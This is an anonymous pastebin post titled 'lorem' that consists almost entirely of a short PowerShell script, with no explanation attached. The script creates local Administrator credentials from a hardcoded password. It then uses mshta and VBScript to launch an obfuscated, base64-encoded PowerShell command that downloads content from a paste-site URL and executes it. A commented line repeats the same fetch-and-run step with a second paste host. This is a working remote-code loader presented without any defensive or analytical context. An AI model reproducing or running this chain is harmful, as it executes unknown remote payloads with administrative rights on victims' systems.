- $passwd = ConvertTo-SecureString "INFLAB2020" -AsPlainText -Force
- $cred = New-Object System.Management.Automation.PSCredential '$($env:COMPUTERNAME)\Administrator', $passwd
- # powershell -EncodedCommand $((wget https://text.is/LVYJ4/raw).Content)
- Start-Process -FilePath 'mshta.exe' -Credential $cred -ArgumentList ('vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe /k powershell.exe -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAJAAoACgAdwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBrAHAAYQBzAHQAZQAuAG4AZQB0AC8AMAA3AGUAMwAyADUAYQA/AHIAYQB3ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAApAA=="", 0, True"))') -WorkingDirectory 'C:\Windows\System32'
lorem
Posted by Anonymous on Mon 7th Oct 2024 21:13
raw | new post
view followups (newest first): lorem by Anonymous
Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.
kpaste.net RSS